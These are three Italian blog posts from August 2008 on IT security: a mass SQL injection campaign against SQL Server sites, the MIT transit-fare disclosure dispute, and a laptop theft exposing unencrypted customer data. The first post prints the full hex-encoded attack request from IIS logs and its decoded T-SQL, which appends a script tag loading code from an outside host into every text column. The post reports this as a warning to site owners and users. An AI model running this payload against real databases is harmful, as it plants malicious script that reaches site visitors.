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Agosto 12th, 2008 — informatica, internet, sicurezza
Trusted source riporta la notizia di un nuovo attacco a Microsoft SQL Server.
L’attacco sarebbe partito la scorsa settimana e avrebbe già interessato migliaia di siti.
Se spulciate i log del vostro IIS potreste trovare una riga di questo tipo:
GET /?';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C41524520
4054207661726368617228323535292C4043207661726368617228343030302920
4445434C415245205461626C655F437572736F7220435552534F5220464F522073
656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563
747320612C737973636F6C756D6E73206220776865726520612E69643D622E6964
20616E6420612E78747970653D27752720616E642028622E78747970653D393920
6F7220622E78747970653D3335206F7220622E78747970653D323331206F722062
2E78747970653D31363729204F50454E205461626C655F437572736F7220464554
4348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040
542C4043205748494C4528404046455443485F5354415455533D30292042454749
4E20657865632827757064617465205B272B40542B275D20736574205B272B4043
2B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C73637269707420
7372633D22687474703A2F2F73646F2E313030306D672E636E2F63737273732F77
2E6A73223E3C2F7363726970743E3C212D2D272720776865726520272B40432B27
206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372
633D22687474703A2F2F73646F2E313030306D672E636E2F63737273732F772E6A
73223E3C2F7363726970743E3C212D2D272727294645544348204E455854204652
4F4D20205461626C655F437572736F7220494E544F2040542C404320454E442043
4C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C
655F437572736F72%20AS%20CHAR(4000));EXEC(@S);HTTP/1.1
Che altro non è che la codifica esadecimale di questa procedura SQL (senza i link ai siti che ospitano gli script):
DECLARE @T varchar(255),@C varchar(4000)
DECLARE Table_Cursor CURSOR
FOR select a.name,b.name from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u' and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN exec('update ['+@T+'] set ['+@C+']=['+@C+']+””>
</title><script src=”http://sdo.1000mg.cn/csrss/w.js”></script>
<!–” where ‘+@C+’ not like ”%”></title>
<script src=”http://sdo.1000mg.cn/csrss/w.js”></script><!–”’)
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor DEALLOCATE Table_Cursor
La sequenza SQL è abbastanza offuscata e, comunque, non è presente la parte di JavaScript che completa l’attacco l’URL del JavaScript non è più raggiungibile. Lo scopo dell’attaccante è di inserire nelle pagine visualizzate da un sito ritenuto affidabile del codice HTML che linka pagine di phishing o comunque di dubbia legalità. L’efficacia dell’attacco è aumentata dall’implicita fiducia che molti utenti hanno dei siti compromessi da questo attacco che stanno visitando.
Microsfot SQL Server è utilizzato da molte organizzazioni governative e da siti ritenuti affidabili dagli utenti; pertanto è bene aumentare il livello di attenzione anche quando si visitano certi siti ritenuti affidabili.
Un sistema per sapere senza fatica il tipo di server che state contattando è l’estensione di Firefox Server Spy.
In questo momento l’attacco è ancora in atto e ci sono molti siti compromessi, quindi prestate attenzione.

Agosto 11th, 2008 — geek, informatica, internet, programmazione, sicurezza
Ficcatevelo in testa: nascondere (o negare) i problemi di un sistema è il peggiore dei comportamenti possibili.
La considerazione nasce, ovviamente, dalla paradossale storia che ha coinvolto alcuni studenti del MIT e un servizio di trasporti pubblici del Massachussetts. Innanzi tutto va chiarito che le persone coinvolte non sono un manipolo di malviventi, ma studenti del MIT il cui professore è Ron Rivest, la ‘R’ del RSA. Gli studenti hanno scoperto un problema nel sistema di tariffazione dei trasporti pubblici e hanno applicato le procedure descritte dalla Full Disclosure Policy (RFPolicy) v2.0. La policy prevede che chi scopre un problema di un sistema contatti per prima cosa l’autore/gestore del sistema con cui stabilisce un dialogo che ha come scopo primario la soluzione del problema.
Questa volta, anziché dar retta ai tecnici è stata prestata attenzione ai legali, i quali sono riusciti sì ad impedire che venissero rivelati gli estremi della vulnerabilità, ma non a risolvere il problema. Intendiamoci: come sono riusciti gli studenti del MIT potrebbe arrivarci chiunque altro e questa volta potrebbe non essere ispirato da nobili sentimenti. Oppure potrebbe essere che già in questo momento qualcuno stia utilizzando da tempo le falle del sistema per viaggiare gratuitamente e questo qualcuno ha ringraziato l’ufficio legale che ha bloccato gli studenti del MIT.
Se qualcuno, quindi, scopre un problema nei nostri sistemi e applica la RFPolicy, non dobbiamo rispondere con una granaiuola di cause, ma dobbiamo ringraziarlo e, magari, invitarlo a collaborare per sistemare il problema. Una volta sistemato il problema, bisogna renderlo pubblico sia per invogliare chi è coinvolto ad aggiornare il proprio sistema, sia per evitare che altri facciano la medesima scoperta e la utilizzino per scopi non proprio legali.
L’adesione alla RFPolicy da parte di una Società è sempre un comportamento coraggioso perché alcuni presunti responsabili delle PR pensano alla caduta di immagine nell’immediato e non vedono le conseguenze per l’intera Società (non solamente per la sua immagine) a lunga scadenza.
In cauda venenum: il fatto che vengano denunciate pochissime frodi informatiche al sistema bancario dipende dalla robustezza della loro infrastuttura informatica?
Aggiunta: La presentazione è stata pubblicata e vale la pena di essere consultata da qualsiasi persona che abbia a che fare con la sicurezza informatica, non solamente riguardo ai trasporti pubblici.

Agosto 5th, 2008 — Babylon 5, geek, informatica, libri inglesi, sicurezza
La CBS riporta (via Slashdot) che all’aeroporto di San Francisco il 26 luglio u.s. è stato rubato un computer portatile che contiene le informazioni personali di 33.000 clienti di Clear, un servizio che consente a chi paga 100$/anno di seguire una procedura più rapida durante le operazioni di controllo di sicurezza negli aeroporti americani.
A parte l’idiozia di far pagare un quid per evitare i controlli di sicurezza, le informazioni personali contenute nel computer non erano protette da alcun sistema di crittografia, perciò chi ha in mano in questo momento il portatile ha libero accesso ai dati personali e agli estremi dei documenti di identità di 33.000 cittadini americani, molti dei quali, è ragionevole presumere, sono utenti abituali del servizio aereo.
Facendo un rapido calcolo, quei 33.000 clienti hanno generato un fatturato di oltre 3.000.000$ (ipotizziamo che alcuni siano dati di test, o dipendenti, oppure omaggi): è mai possibile che un’organizzazione con un simile fatturato annuo non si sia mai posta il problema della sicurezza? In una pagina apposita del sito, Clear dichiara che «in June, 2007, Ernst & Young LLP concluded a comprehensive, independent audit of our privacy policies and practices», evidentemente l’audit non era così approfondito.
A mio modo di vedere, stando ai dati pubblicati, il problema in questo caso è duplice.
Da un lato c’è un’organizzazione che non è in grado di tutelare i dati che le vengono consegnati. La nostra legge prevede non per nulla una serie di norme da rispettare in questo settore, molte delle quali sono pensate per far capire a chi sta gestendo i dati l’importanza di ciò che ha in mano. È fuor di dubbio che ci sia stata della leggerezza nell’affrontare questo problema.
Dall’altro lato abbiamo il personale che, probabilmente, non è stato sufficientemente addestrato o reso consapevole dei rischi che comporta la sottrazione di un computer con quei dati. Spesso chi commette leggerezze in questo settore lo fa perché nessuno gli ha mai spiegato quanto possano valere i dati che sta trattando per persone con finalità poco legali.
Concludo con una riflessione per i miei tre lettori. Pensate alle chiavette USB e ai dischi rigidi tascabili che vi portate dietro. Pensate alle conseguenze di un furto di quegli oggetti e ricordatevi che il mondo è piccolo, molto piccolo…
